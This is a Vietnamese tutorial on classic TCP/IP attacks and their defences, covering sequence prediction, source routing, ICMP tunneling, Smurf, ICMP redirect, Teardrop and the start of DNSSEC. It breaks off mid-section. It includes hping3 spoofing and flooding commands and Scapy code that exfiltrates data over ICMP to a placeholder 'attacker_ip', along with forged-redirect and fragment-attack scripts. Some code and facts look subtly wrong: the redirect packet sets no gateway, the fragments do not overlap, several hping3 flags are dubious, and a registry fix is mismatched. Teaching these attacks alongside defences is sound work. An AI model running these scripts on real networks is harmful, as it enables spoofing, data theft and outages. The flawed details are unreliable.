NHỮNG LỖ HỔNG BẢO MẬT CƠ BẢN PROTOCOL STACK TCP/IP

1. Kỹ thuật tấn công dự đoán TCP Sequence Number

1. Khái niệm cơ bản

- TCP là giao thức đáng tin cậy sử dụng **Sequence Number (Số thứ tự)** để đánh dấu từng byte dữ liệu trong quá trình truyền giữa client và server.
- Sequence Number được khởi tạo khi kết nối TCP được thiết lập thông qua cơ chế **Three-Way Handshake**:
    1. Client gửi SYN với Sequence Number ban đầu.
    2. Server trả lời SYN-ACK với Sequence Number của nó và Acknowledgment Number là Sequence Number của client cộng 1.
    3. Client xác nhận bằng ACK.

2. Tấn công dự đoán TCP Sequence Number

- **Mục tiêu**: Giả mạo một kết nối TCP hợp lệ giữa attacker (kẻ tấn công) và server bằng cách đoán hoặc tính toán **Sequence Number** của server.
- **Quá trình thực hiện**:
    1. **Thu thập thông tin**: Attacker giám sát lưu lượng mạng để nhận biết cách server khởi tạo Sequence Number (thường là dãy số tuần tự hoặc ngẫu nhiên nhưng dễ dự đoán).
    2. **Giả mạo địa chỉ IP**: Attacker giả mạo địa chỉ IP của client hợp lệ.
    3. **Dự đoán Sequence Number**:

        - Từ các quan sát trước, attacker dự đoán Sequence Number tiếp theo mà server sẽ sử dụng.
    4. **Gửi gói tin SYN**: Attacker gửi gói SYN giả mạo từ IP của client.
    5. **Tạo kết nối giả**: Server gửi SYN-ACK đến địa chỉ IP giả mạo (client thật), nhưng attacker không thấy được phản hồi này.
    6. **Hoàn tất Handshake**: Attacker gửi gói ACK chứa Sequence Number dự đoán để hoàn tất Handshake.
    7. **Khai thác kết nối**: Attacker gửi các lệnh hoặc dữ liệu nguy hại đến server.

---

3. Ví dụ minh họa

Kịch bản:

- Một attacker muốn chiếm quyền điều khiển kết nối TCP giữa một client và một server (ví dụ: hệ thống đăng nhập từ xa qua Telnet).

Quy trình cụ thể:

1. **Quan sát Sequence Number**: Attacker giám sát gói tin TCP để xác định cách server tạo Sequence Number, nhận ra rằng nó tăng đều theo thời gian.
2. **Giả mạo địa chỉ IP**: Attacker giả mạo địa chỉ IP của client hợp lệ.
3. **Tấn công**:
    - Attacker gửi SYN giả đến server, dự đoán Sequence Number tiếp theo mà server sẽ sử dụng.
    - Server gửi SYN-ACK đến client thật, nhưng client không phản hồi (vì không yêu cầu kết nối).

- Attacker gửi gói ACK với Sequence Number dự đoán chính xác, hoàn tất Handshake.

4. **Khai thác**:
   - Attacker gửi lệnh (ví dụ: mở backdoor, thay đổi cấu hình) đến server trong khi kết nối giả mạo vẫn duy trì.

---

4. Giải pháp phòng chống

1. **Tăng độ ngẫu nhiên của Sequence Number**:
   - Sử dụng cơ chế khởi tạo Sequence Number ngẫu nhiên để giảm khả năng dự đoán.
   - Hầu hết các hệ điều hành hiện đại (Windows, Linux) đã triển khai tính năng này.
2. **Sử dụng tường lửa (Firewall)**:
   - Chặn các gói tin đến từ địa chỉ IP giả mạo bằng cách kiểm tra nguồn gốc lưu lượng mạng.
   - Triển khai cơ chế chống IP spoofing.
3. **Sử dụng giao thức bảo mật**:
   - Chuyển từ TCP đơn thuần sang các giao thức bảo mật như **TLS/SSL** để mã hóa và xác thực kết nối.
4. **Áp dụng cơ chế lọc lưu lượng**:
   - Sử dụng công cụ phát hiện xâm nhập (IDS/IPS) để nhận diện và chặn các lưu lượng bất thường.
5. **Giới hạn quyền truy cập**:
   - Hạn chế quyền truy cập vào server chỉ từ các địa chỉ IP tin cậy.
6. **Phát hiện lưu lượng bất thường**:
   - Theo dõi các kết nối TCP với số lượng SYN chưa hoàn tất lớn, điều này có thể chỉ ra một cuộc tấn công Sequence Number.

---

5. Kết luận

- **Tấn công dự đoán TCP Sequence Number** từng là một kỹ thuật nguy hiểm trong quá khứ, nhưng các cải tiến trong giao thức TCP và hệ điều hành đã giảm thiểu đáng kể rủi ro.
- Tuy nhiên, để bảo vệ toàn diện, doanh nghiệp cần kết hợp giữa các biện pháp kỹ thuật (ngẫu nhiên hóa Sequence Number, mã hóa dữ liệu) và quản trị (giới hạn quyền truy cập, giám sát mạng).

2. Lỗ hổng bảo mật loại Source Routing

---

1. Khái niệm về Source Routing

- **Source Routing** là một cơ chế trong mạng cho phép người gửi (source) chỉ định đường đi cụ thể mà gói tin sẽ đi qua để đến đích (destination).
- Thông tin về đường đi được nhúng vào trong header của gói tin IP.
- Mặc dù cơ chế này có thể hữu ích trong việc kiểm tra mạng hoặc xử lý sự cố, nhưng nó cũng có thể bị kẻ tấn công lợi dụng.

---

2. Lỗ hổng bảo mật Source Routing

- **Vấn đề**: Source Routing cho phép người gửi kiểm soát đường đi của gói tin, điều này có thể dẫn đến:
  - **Giả mạo địa chỉ IP (IP Spoofing)**: Kẻ tấn công có thể gửi gói tin giả mạo từ địa chỉ IP đáng tin cậy để đánh lừa hệ thống.
  - **Vượt qua kiểm tra bảo mật**: Kẻ tấn công có thể định tuyến gói tin đi qua các router hoặc firewall không được cấu hình để kiểm tra gói tin Source Routed.
  - **Thu thập thông tin nhạy cảm**: Tấn công man-in-the-middle (MITM) bằng cách ép gói tin đi qua hệ thống của kẻ tấn công, nơi dữ liệu có thể bị chặn lại và đọc.

---

3. Ví dụ minh họa về lỗ hổng Source Routing

Kịch bản tấn công

- **Môi trường**:
  - Hệ thống mạng có một server (192.168.1.100) chỉ cho phép truy cập từ một máy client (192.168.1.50).
  - Một firewall được đặt để chỉ cho phép gói tin từ 192.168.1.50 đi qua.
- **Hành động của kẻ tấn công**:
  - Kẻ tấn công sử dụng địa chỉ giả mạo (192.168.1.50) làm địa chỉ nguồn (Source IP).
  - Thêm thông tin **Source Route** vào header của gói tin, buộc gói tin đi qua các router cụ thể và đến server.
  - Do firewall không kiểm tra thông tin Source Routing, gói tin được cho phép đi qua.
  - Server nhận thấy địa chỉ nguồn là 192.168.1.50, nên tin rằng đây là client hợp lệ.

Kết quả:

- Kẻ tấn công có thể truy cập trái phép vào server bằng cách lợi dụng lỗ hổng Source Routing.

---

4. Ví dụ thực tế

Giả mạo địa chỉ IP với Source Routing: Kẻ tấn công sử dụng công cụ như hping3 hoặc scapy để tạo gói tin giả mạo có thông tin Source Route.

hping3 -a 192.168.1.50 --route
192.168.1.1:192.168.1.2:192.168.1.100 -p 80

- -a 192.168.1.50: Địa chỉ IP giả mạo.
- --route 192.168.1.1:192.168.1.2:192.168.1.100: Đường đi của gói tin qua các router.

---

5. Giải pháp phòng chống lỗ hổng Source Routing

1. **Vô hiệu hóa Source Routing**:
    - Cấu hình router và firewall để không cho phép gói tin có thông tin Source Routing đi qua.
    - Trên các hệ điều hành như Linux, có thể vô hiệu hóa bằng lệnh:
    - echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route
2. **Cấu hình Firewall**:
    - Firewall cần được cấu hình để chặn tất cả các gói tin có thông tin Source Routing trong header.
3. **Kiểm tra địa chỉ IP thực tế**:
    - Sử dụng cơ chế xác thực để đảm bảo địa chỉ nguồn (Source IP) là hợp lệ, thay vì chỉ dựa vào IP trong header.
4. **Mã hóa và xác thực giao tiếp**:
    - Sử dụng giao thức bảo mật như **TLS/SSL** để mã hóa và xác thực cả nguồn lẫn dữ liệu trong quá trình truyền.
5. **Giám sát mạng**:
    - Triển khai các công cụ phát hiện và ngăn chặn xâm nhập (IDS/IPS) để phát hiện lưu lượng bất thường liên quan đến Source Routing.

---

6. Kết luận

Lỗ hổng Source Routing là một vấn đề nghiêm trọng khi các thiết bị mạng không được cấu hình đúng cách. Kẻ tấn công có thể lợi dụng để giả mạo địa chỉ, vượt qua bảo mật và thực hiện các cuộc tấn công nguy hiểm. Do đó, các biện pháp phòng chống cần được thực hiện nghiêm ngặt trên các hệ thống mạng.

3. Kỹ thuật tấn công ICMP Tunneling

---

1. ICMP là gì?

- ICMP (Internet Control Message Protocol) là giao thức mạng dùng để gửi các thông báo về lỗi hoặc thông tin liên quan đến hoạt động của mạng.
- Các ứng dụng phổ biến của ICMP:
  - Lệnh ping: Kiểm tra kết nối mạng.
  - Gửi các thông báo về lỗi, chẳng hạn khi một gói tin không thể đến đích.

---

2. ICMP Tunneling là gì?

- **ICMP Tunneling** là kỹ thuật tấn công trong đó kẻ tấn công sử dụng giao thức ICMP để tạo một **kênh truyền ngầm** (covert channel) qua mạng.
- ICMP Tunneling cho phép kẻ tấn công:
  1. **Ẩn giấu dữ liệu**: Dữ liệu không hợp lệ được nhúng vào trường Payload của các gói ICMP.
  2. **Vượt qua tường lửa**: Do ICMP thường được cho phép trong các mạng để hỗ trợ kiểm tra kết nối.
  3. **Truyền dữ liệu bí mật**: Chẳng hạn tải dữ liệu nhạy cảm từ máy tính mục tiêu ra ngoài mà không bị phát hiện.

---

3. Cách hoạt động của ICMP Tunneling

Quy trình tấn công:

1. **Thiết lập kênh ngầm**:

- Kẻ tấn công cài đặt một phần mềm trojan hoặc mã độc trên máy nạn nhân.
- Mã độc này sử dụng ICMP Echo Request và Echo Reply để tạo kênh truyền thông giữa nạn nhân và máy của kẻ tấn công.

2. **Nhúng dữ liệu vào ICMP Payload**:
   - ICMP Echo Request và Echo Reply có trường Payload. Kẻ tấn công sử dụng trường này để nhúng dữ liệu cần truyền (mã lệnh, thông tin đánh cắp, v.v.).
3. **Truyền dữ liệu qua mạng**:
   - Dữ liệu nhúng được gửi qua các gói ICMP, vượt qua tường lửa nếu không có quy tắc kiểm tra nghiêm ngặt.
4. **Phân tích và sử dụng**:
   - Tại máy của kẻ tấn công, dữ liệu được giải mã từ các gói ICMP để sử dụng.

---

4. Ví dụ minh họa

Kịch bản thực tế:

- **Mục tiêu**: Kẻ tấn công muốn đánh cắp file nhạy cảm từ một máy chủ nội bộ.
- **Công cụ**: Sử dụng công cụ mã nguồn mở như **ptunnel** hoặc tự viết mã bằng Python/Scapy.

Quy trình:

1. **Tại máy nạn nhân**: Cài đặt mã độc hoặc phần mềm lén lút.
   - Ví dụ: Mã độc sử dụng Scapy để tạo ICMP Tunnel.

```
from scapy.all import *
data = "This is secret data"
```

```
send(IP(dst="attacker_ip")/ICMP()/data)
```

2. **Tại máy kẻ tấn công**: Lắng nghe và giải mã dữ liệu từ gói ICMP.

```
from scapy.all import *
def icmp_sniff(packet):
    if packet.haslayer(ICMP):
        print(f"Received: {packet[ICMP].load}")
sniff(filter="icmp", prn=icmp_sniff)
```

3. **Kết quả**: Dữ liệu nhạy cảm được truyền ra ngoài qua ICMP, tránh được nhiều tường lửa đơn giản.

---

5. Cách phòng chống ICMP Tunneling

1. **Kiểm soát ICMP trong tường lửa**:
   - Chặn các loại ICMP không cần thiết như ICMP Echo Reply hoặc ICMP Destination Unreachable.
   - Chỉ cho phép các ICMP liên quan đến kiểm tra kết nối (ping) ở mức tối thiểu.
2. **Giám sát lưu lượng ICMP**:
   - Sử dụng công cụ giám sát mạng như Wireshark hoặc IDS/IPS (Intrusion Detection/Prevention System) để phát hiện lưu lượng ICMP bất thường.
3. **Giới hạn kích thước ICMP Payload**:
   - Gói ICMP Echo Request thường chỉ cần một Payload nhỏ (dưới 64 bytes). Lưu lượng ICMP với Payload lớn bất thường nên được cảnh báo.
4. **Phát hiện kênh truyền ngầm (Covert Channel)**:
   - Sử dụng các công cụ như **Snort**, **Zeek** để phân tích hành vi bất thường của gói tin ICMP.
5. **Mã hóa và bảo vệ dữ liệu**:

    - Dữ liệu quan trọng nên được mã hóa để ngăn chặn rò rỉ dữ liệu qua các kênh truyền ngầm.
6. **Cập nhật hệ thống và phần mềm**:
    - Đảm bảo hệ thống sử dụng các bản vá bảo mật mới nhất để ngăn mã độc khai thác.

---

6. Tóm tắt

- **ICMP Tunneling** là một kỹ thuật tấn công lợi dụng gói ICMP để truyền dữ liệu bí mật.
- Kẻ tấn công có thể sử dụng kỹ thuật này để đánh cắp dữ liệu hoặc liên lạc với các hệ thống bị nhiễm mã độc.
- Phòng chống hiệu quả đòi hỏi:
    1. Kiểm soát chặt chẽ ICMP trong tường lửa.
    2. Giám sát và phát hiện lưu lượng bất thường.
    3. Áp dụng các chính sách bảo mật nâng cao.

4. Kỹ thuật tấn công Smurf Attack

---

1. Smurf Attack là gì?

- **Smurf Attack** là một kỹ thuật tấn công từ chối dịch vụ (DoS - Denial of Service), trong đó kẻ tấn công sử dụng **ICMP Echo Request (ping)** để làm ngập một mạng hoặc máy chủ mục tiêu, khiến chúng không thể xử lý các yêu cầu hợp lệ khác.
- **Đặc điểm chính**:
  - Kẻ tấn công gửi các gói **ICMP Echo Request** với địa chỉ nguồn giả mạo là IP của mục tiêu.
  - Các gói này được gửi đến một **địa chỉ broadcast** trong mạng, khiến tất cả các thiết bị trong mạng trả lời bằng **ICMP Echo Reply**.
  - Mục tiêu sẽ bị ngập trong lưu lượng trả lời từ các thiết bị trong mạng.

---

2. Cách hoạt động của Smurf Attack

Quy trình tấn công:

1. **Giả mạo địa chỉ nguồn (IP Spoofing)**:
   - Kẻ tấn công giả mạo địa chỉ nguồn trong gói ICMP Echo Request thành địa chỉ IP của mục tiêu.
2. **Gửi gói tin đến địa chỉ broadcast**:
   - Gói tin được gửi đến địa chỉ broadcast của mạng (ví dụ: 192.168.1.255).
   - Các thiết bị trong mạng nhận được gói tin sẽ trả lời bằng ICMP Echo Reply tới địa chỉ IP của mục tiêu.
3. **Làm ngập mục tiêu**:

- Mục tiêu bị ngập trong lưu lượng ICMP Echo Reply từ nhiều thiết bị cùng một lúc, dẫn đến quá tải.

---

3. Ví dụ minh họa thực tế

Kịch bản:

- **Mục tiêu**: Máy chủ IP 192.168.1.10.
- **Mạng bị lợi dụng**: 192.168.1.0/24.
- **Công cụ**: Kẻ tấn công sử dụng công cụ như hping3 để thực hiện tấn công.

Quy trình thực hiện:

1. **Gửi gói ICMP Echo Request** với địa chỉ nguồn giả mạo:
2. hping3 --icmp --spoof 192.168.1.10 --broadcast 192.168.1.255
   - --icmp: Gửi gói ICMP Echo Request.
   - --spoof 192.168.1.10: Giả mạo địa chỉ nguồn là 192.168.1.10.
   - --broadcast 192.168.1.255: Gửi gói tin đến địa chỉ broadcast.
3. **Kết quả**:
   - Các thiết bị trong mạng 192.168.1.0/24 trả lời bằng ICMP Echo Reply.
   - Máy chủ 192.168.1.10 nhận được hàng loạt gói ICMP Echo Reply, dẫn đến tình trạng quá tải.

---

4. Tác động của Smurf Attack

- **Mục tiêu trực tiếp**: Máy chủ hoặc thiết bị có địa chỉ IP bị giả mạo.

- **Mục tiêu gián tiếp**: Mạng bị lợi dụng để thực hiện tấn công (bị giảm hiệu suất do lưu lượng tăng).
- **Hậu quả**:
  - Máy chủ mục tiêu không thể xử lý các yêu cầu hợp pháp.
  - Gây gián đoạn dịch vụ, mất kết nối mạng.

---

5. Cách phòng chống Smurf Attack

1. **Cấu hình thiết bị mạng**:
   - **Vô hiệu hóa phản hồi ICMP trên địa chỉ broadcast**:
     - Trên Linux:

       ```
       echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
       ```

     - Trên Windows:
       - Vào **Registry**: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters.
       - Thêm giá trị EnableICMPRedirects = 0.
2. **Chặn lưu lượng ICMP bất thường**:
   - Cấu hình tường lửa (Firewall) để chặn các gói ICMP gửi đến địa chỉ broadcast.
3. **Phát hiện và ngăn chặn tấn công**:
   - Sử dụng hệ thống phát hiện xâm nhập (IDS/IPS) như Snort hoặc Zeek để nhận diện và chặn lưu lượng bất thường.
4. **Kiểm soát lưu lượng mạng**:
   - Giới hạn băng thông cho ICMP bằng QoS (Quality of Service).
5. **Bảo vệ thiết bị khỏi IP Spoofing**:

- Triển khai tính năng lọc địa chỉ giả mạo (Reverse Path Forwarding) trên router:
  - Cisco router:
  - ip verify unicast source reachable-via rx

6. **Đào tạo nhân viên và quản trị mạng**:
   - Nâng cao nhận thức về tấn công DoS và Smurf Attack để có biện pháp ứng phó kịp thời.

---

6. Tóm tắt

- **Smurf Attack** là một kỹ thuật tấn công DoS lợi dụng gói ICMP gửi đến địa chỉ broadcast, làm ngập mục tiêu bằng phản hồi từ các thiết bị trong mạng.
- **Phòng chống**:
  1. Vô hiệu hóa ICMP broadcast.
  2. Chặn lưu lượng ICMP bất thường trên tường lửa.
  3. Sử dụng IDS/IPS để giám sát và ngăn chặn tấn công.
- **Tác động**: Tấn công này có thể gây gián đoạn mạng nghiêm trọng nếu không được kiểm soát kịp thời.

5. Kỹ thuật tấn công ICMP Redirect Attack

---

1. ICMP Redirect là gì?

- **ICMP Redirect** là một tính năng của giao thức ICMP được sử dụng trong mạng IP để hướng dẫn một thiết bị (thường là máy tính) thay đổi tuyến đường (route) mà nó sử dụng để gửi dữ liệu.
- **Mục đích chính**: Tối ưu hóa tuyến đường truyền dữ liệu bằng cách thông báo cho thiết bị sử dụng một cổng (gateway) khác gần hơn hoặc hiệu quả hơn.

---

2. ICMP Redirect Attack là gì?

- **ICMP Redirect Attack** là một kỹ thuật tấn công trong đó kẻ tấn công gửi các gói ICMP Redirect giả mạo để đánh lừa thiết bị mục tiêu thay đổi tuyến đường dữ liệu.
- **Mục tiêu của kẻ tấn công**:
  - Chuyển hướng lưu lượng mạng qua hệ thống của kẻ tấn công (man-in-the-middle - MITM).
  - Ngăn chặn lưu lượng (tấn công từ chối dịch vụ - DoS).
  - Thu thập thông tin nhạy cảm, chẳng hạn như thông tin đăng nhập.

---

3. Cách hoạt động của ICMP Redirect Attack

Quy trình tấn công:

1. **Quan sát giao tiếp mạng**:

    - Kẻ tấn công quan sát hoặc xâm nhập vào mạng, phát hiện tuyến đường hiện tại của lưu lượng dữ liệu.
2. **Tạo gói ICMP Redirect giả mạo**:
    - Kẻ tấn công gửi gói ICMP Redirect giả mạo tới thiết bị mục tiêu.
    - Gói tin này chứa thông tin sai lệch, yêu cầu thiết bị mục tiêu gửi lưu lượng qua một router (thường là thiết bị của kẻ tấn công).
3. **Tái định tuyến lưu lượng**:
    - Thiết bị mục tiêu thay đổi tuyến đường theo thông báo từ gói ICMP Redirect.
    - Lưu lượng được chuyển qua hệ thống của kẻ tấn công.
4. **Khai thác hoặc tấn công**:
    - Kẻ tấn công có thể chặn, đọc hoặc thay đổi dữ liệu trong lưu lượng mạng.

---

4. Ví dụ minh họa thực tế

Kịch bản:

- Một hệ thống máy tính mục tiêu (192.168.1.10) sử dụng router hợp pháp (192.168.1.1) làm gateway.
- Kẻ tấn công có địa chỉ IP là 192.168.1.50.

Thực hiện tấn công:

1. Kẻ tấn công tạo gói ICMP Redirect giả mạo, yêu cầu máy tính mục tiêu (192.168.1.10) thay đổi gateway từ **192.168.1.1** thành **192.168.1.50**.
2. Công cụ tấn công: **Scapy** (Python).

Mã minh họa:

```
from scapy.all import *

target_ip = "192.168.1.10"  # Máy tính mục tiêu
gateway_ip = "192.168.1.1"  # Gateway hợp pháp
attacker_ip = "192.168.1.50"  # Kẻ tấn công

# Gói ICMP Redirect giả mạo
icmp_redirect = IP(src=gateway_ip, dst=target_ip)/ICMP(type=5,
code=1)/IP(src=target_ip, dst="8.8.8.8")
send(icmp_redirect)
```

Kết quả:

- Máy tính mục tiêu (192.168.1.10) sẽ thay đổi gateway thành 192.168.1.50.
- Lưu lượng của máy tính này sẽ bị chuyển qua kẻ tấn công.

---

5. Tác động của ICMP Redirect Attack

- **Nghe lén dữ liệu**: Kẻ tấn công có thể thực hiện **Man-in-the-Middle (MITM)** để chặn dữ liệu nhạy cảm.
- **Ngăn chặn lưu lượng**: Tấn công từ chối dịch vụ (DoS) bằng cách định tuyến lưu lượng đến địa chỉ không tồn tại.
- **Tấn công tiếp theo**: Kẻ tấn công có thể lợi dụng để thực hiện các tấn công sâu hơn, như thay đổi dữ liệu hoặc xâm nhập hệ thống.

---

6. Cách phòng chống ICMP Redirect Attack

1. **Vô hiệu hóa ICMP Redirect trên thiết bị**:
    - Trên Linux:

```
echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
```

- Trên Windows:
  - Chỉnh sửa Registry:
  - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  - Value: EnableICMPRedirects = 0

2. **Bật tính năng bảo mật trên router**:
   - Triển khai kiểm tra tính hợp lệ của gói ICMP trước khi chấp nhận.
3. **Sử dụng giao thức bảo mật**:
   - Áp dụng các giao thức mã hóa như TLS/SSL để bảo vệ lưu lượng dữ liệu, ngăn chặn MITM.
4. **Sử dụng tường lửa (Firewall)**:
   - Cấu hình để chặn gói ICMP Redirect hoặc giới hạn ICMP chỉ cho các thiết bị đáng tin cậy.
5. **Giám sát mạng**:
   - Sử dụng công cụ IDS/IPS (Intrusion Detection/Prevention Systems) để phát hiện và ngăn chặn các gói ICMP Redirect bất thường.
6. **Xác thực định tuyến**:
   - Sử dụng giao thức bảo mật định tuyến như **Secure BGP (Border Gateway Protocol)**.

---

7. Kết luận

- **ICMP Redirect Attack** là một kỹ thuật nguy hiểm nếu mạng không được cấu hình bảo mật tốt. Kẻ tấn công có thể chuyển hướng lưu lượng, gây nguy cơ nghe lén, thay đổi dữ liệu hoặc làm gián đoạn mạng.
- **Phòng chống**:
  - Vô hiệu hóa ICMP Redirect nếu không cần thiết.

- Áp dụng các biện pháp bảo mật như tường lửa, IDS/IPS và mã hóa lưu lượng.

Hiểu rõ cơ chế và cách phòng chống tấn công sẽ giúp bảo vệ hệ thống mạng khỏi các mối đe dọa tiềm tàng.

6. Kỹ thuật tấn công Teardrop Attack

---

1. Teardrop Attack là gì?

- **Teardrop Attack** là một dạng tấn công từ chối dịch vụ (**DoS - Denial of Service**) nhằm làm cho hệ thống mục tiêu quá tải và không thể xử lý được.
- **Cách hoạt động**: Tấn công khai thác cách các gói tin IP được phân mảnh và tái lắp ráp bởi hệ thống mục tiêu:
  - Gói tin IP được chia thành nhiều mảnh nhỏ (fragments).
  - Tấn công lợi dụng trường **Fragment Offset** trong header IP để gửi các gói tin bị phân mảnh có thông tin chồng chéo hoặc không hợp lệ.
  - Khi hệ thống cố gắng tái lắp ráp các mảnh này, nó không thể xử lý chính xác và có thể dẫn đến lỗi hệ thống hoặc treo máy.

---

2. Cách hoạt động của Teardrop Attack

Quy trình:

1. **Phân mảnh gói tin IP**:
   - Trong giao thức IP, khi gói tin lớn hơn **MTU (Maximum Transmission Unit)**, nó sẽ được phân mảnh thành các phần nhỏ hơn.
2. **Chèn Fragment Offset sai lệch**:
   - Kẻ tấn công gửi các gói tin IP với trường **Fragment Offset** không hợp lệ hoặc chồng chéo.
   - Ví dụ: Một mảnh gói tin có offset từ 1000 đến 1200, nhưng mảnh kế tiếp lại bắt đầu từ 1100 thay vì 1200.
3. **Làm hệ thống mục tiêu lỗi khi tái lắp ráp**:

- Khi hệ thống nhận các mảnh gói tin và cố gắng tái lắp ráp, nó gặp lỗi do thông tin chồng chéo hoặc không hợp lệ, dẫn đến:
  - **Quá tải bộ nhớ**.
  - **Hệ thống treo hoặc khởi động lại**.

---

3. Ví dụ minh họa thực tế

Kịch bản:

- Một kẻ tấn công muốn làm treo một máy chủ chạy hệ điều hành cũ (ví dụ: Windows NT 4.0 hoặc Windows 95), vốn dễ bị tổn thương bởi Teardrop Attack.

Công cụ tấn công:

- **Hping3** hoặc **Python Scapy** để tạo và gửi gói tin phân mảnh không hợp lệ.

Mã minh họa (sử dụng Python với Scapy):

```
from scapy.all import *

target_ip = "192.168.1.10"

# Tạo gói IP với các mảnh bị chồng chéo
frag1 = IP(dst=target_ip, flags="MF", id=12345)/UDP()/("X"*8)
frag2 = IP(dst=target_ip, flags="MF", id=12345,
frag=1)/UDP()/("Y"*8)
frag3 = IP(dst=target_ip, flags="MF", id=12345,
frag=2)/UDP()/("Z"*8)

# Gửi các gói phân mảnh
```

```
send(frag1)
send(frag2)
send(frag3)
```

Kết quả:

- Máy chủ mục tiêu cố gắng tái lắp ráp các gói tin nhưng gặp lỗi và có thể:
  - Treo hệ thống.
  - Khởi động lại.
  - Mất khả năng phản hồi với các yêu cầu khác.

---

4. Tác động của Teardrop Attack

- **Tác động chính**:
  - Làm treo hoặc khởi động lại máy chủ mục tiêu.
  - Gây gián đoạn dịch vụ, ảnh hưởng đến hoạt động của tổ chức.
- **Hệ thống dễ bị tổn thương**:
  - Các hệ điều hành cũ như Windows NT 4.0, Windows 95, và một số hệ điều hành Unix/Linux đời đầu.

---

5. Giải pháp phòng chống

1. **Cập nhật hệ điều hành và phần mềm**:
   - Sử dụng các bản vá bảo mật mới nhất từ nhà cung cấp.
   - Hệ điều hành hiện đại (như Windows 10, Linux mới nhất) không còn dễ bị tổn thương bởi Teardrop Attack.
2. **Sử dụng tường lửa (Firewall)**:
   - Cấu hình tường lửa để phát hiện và chặn các gói tin IP phân mảnh bất thường hoặc không hợp lệ.

3. **Hệ thống phát hiện xâm nhập (IDS/IPS)**:
    - Triển khai IDS/IPS như Snort hoặc Zeek để giám sát và chặn các gói tin bị phân mảnh độc hại.
4. **Giới hạn phân mảnh IP**:
    - Cấu hình router và switch để giới hạn hoặc loại bỏ gói tin phân mảnh nếu không cần thiết.
5. **Tăng cường kiểm tra và xác thực**:
    - Cài đặt cơ chế kiểm tra tính toàn vẹn của gói tin trong hệ thống mạng.
6. **Giám sát lưu lượng mạng**:
    - Sử dụng công cụ giám sát mạng để phát hiện lưu lượng bất thường, như tăng đột biến các gói tin phân mảnh.

---

6. Tóm tắt

- **Teardrop Attack** là một dạng tấn công DoS lợi dụng lỗi tái lắp ráp gói tin phân mảnh trong giao thức IP.
- **Cách phòng chống hiệu quả**:
    - Cập nhật hệ điều hành.
    - Sử dụng tường lửa, IDS/IPS.
    - Giám sát lưu lượng mạng và ngăn chặn gói tin phân mảnh bất thường.
- Mặc dù các hệ thống hiện đại không còn dễ bị tổn thương, nhưng hiểu về Teardrop Attack là cần thiết để bảo vệ các thiết bị cũ hoặc phát hiện các tấn công tương tự.

7. Kỹ thuật DNS Security Extensions (DNSSEC)

---

1. DNS là gì và tại sao cần bảo mật?

- **DNS (Domain Name System)**: Là dv chuyển đổi tên miền (như www.example.com) thành địa chỉ IP mà các máy tính sử dụng để giao tiếp.
- **Vấn đề bảo mật**:
  - DNS ban đầu không được thiết kế để bảo mật.
  - Các lỗ hổng phổ biến:
    - **DNS Spoofing (DNS Cache Poisoning)**: Kẻ tấn công lừa hệ thống sử dụng địa chỉ IP sai, dẫn đến trang web giả mạo.
    - **Man-in-the-Middle Attack (MITM)**: Chặn và thay đổi phản hồi DNS.

---

2. DNS Security Extensions (DNSSEC) là gì?

- **DNSSEC** là một tập hợp các mở rộng bảo mật cho DNS, được thiết kế để:
  1. **Đảm bảo tính toàn vẹn của dữ liệu DNS**: Xác minh dữ liệu không bị thay đổi trong quá trình truyền.
  2. **Xác thực nguồn gốc dữ liệu DNS**: Đảm bảo rằng dữ liệu DNS thực sự đến từ máy chủ DNS hợp lệ.
  3. **Ngăn chặn tấn công DNS Spoofing**: Bằng cách sử dụng chữ ký số để xác thực dữ liệu.

---

3. Cách DNSSEC hoạt động

DNSSEC sử dụng **chữ ký số** và **mã hóa khóa công khai (Public Key Cryptography)** để bảo vệ dữ liệu DNS.

Quy trình bảo vệ:

1. **Tạo chữ ký số (Digital Signature)**:
   - Máy chủ DNS sử dụng **khóa riêng (Private Key)** để ký dữ liệu DNS, tạo ra một chữ ký số.
   - Chữ ký này được gắn kèm với bản ghi DNS.
2. **Phân phối khóa công khai (Public Key)**:
   - Khóa công khai được lưu trong các bản ghi **DNSKEY** tại máy chủ DNS.
   - Người dùng hoặc máy chủ DNS khác có thể sử dụng khóa công khai này để xác minh chữ ký số.
3. **Xác minh dữ liệu**:
   - Khi máy chủ DNS nhận được phản hồi DNS, nó sử dụng khóa công khai để kiểm tra chữ ký số.
   - Nếu chữ ký hợp lệ, dữ liệu được coi là an toàn.

---

4. Các thành phần chính của DNSSEC

1. **Bản ghi DNSKEY**:
   - Chứa khóa công khai dùng để xác minh chữ ký số của dữ liệu DNS.
2. **Bản ghi RRSIG**:
   - Chứa chữ ký số của các bản ghi DNS, được tạo bằng khóa riêng.
3. **Bản ghi DS (Delegation Signer)**:
   - Dùng để liên kết một khóa công khai từ một vùng DNS con với vùng DNS gốc.
4. **Chuỗi tin cậy (Chain of Trust)**:

- DNSSEC sử dụng một chuỗi tin cậy từ gốc DNS (Root Zone) đến từng tên miền con.
- Mỗi bước trong chuỗi đều có thể được xác minh thông qua chữ ký số.

---

5. Ví dụ minh họa

- **Client (Máy trạm):** muốn truy cập vào www.example.com.
- **DNS Resolver (Máy chủ phân giải):** "Người trung gian" (thường là của ISP hoặc Google 8.8.8.8) đi hỏi địa chỉ IP giùm cho Client.
- **Hệ thống phân cấp DNS (Bên phải):**
  - **Root DNS Server:** Máy chủ gốc (quản lý toàn bộ internet, đại diện bằng **Chìa khóa Đỏ**).
  - **.com TLD DNS Server:** Máy chủ quản lý đuôi .com (đại diện bằng **Chìa khóa Xanh lá**).
  - **example.com DNS Server:** Máy chủ chứa dữ liệu thật của trang web (Authoritative Server - đại diện bằng **Chìa khóa Vàng**).

Quy trình phân giải "Chuỗi niềm tin" (Chain of Trust)

Khác với DNS thường, DNSSEC không chỉ hỏi "IP là gì?" mà còn hỏi "Có bằng chứng nào chứng minh IP đó là thật không?". Quy trình diễn ra theo các mũi tên từ trái sang phải rồi trả ngược lại:

Bước 1: Khởi tạo yêu cầu

- **Client -> Resolver:** Client hỏi: *"Where is* www.example.com*?"* (Địa chỉ của www.example.com ở đâu?).

Bước 2: Truy vấn & Xác thực từng cấp (Điểm mấu chốt của DNSSEC)

Resolver sẽ đi hỏi lần lượt từ cấp cao nhất xuống thấp nhất. Tại mỗi bước, nó nhận được dữ liệu **kèm theo Chữ ký số (Signed)**.

- **Resolver <-> Root DNS Server (Chìa Đỏ):**
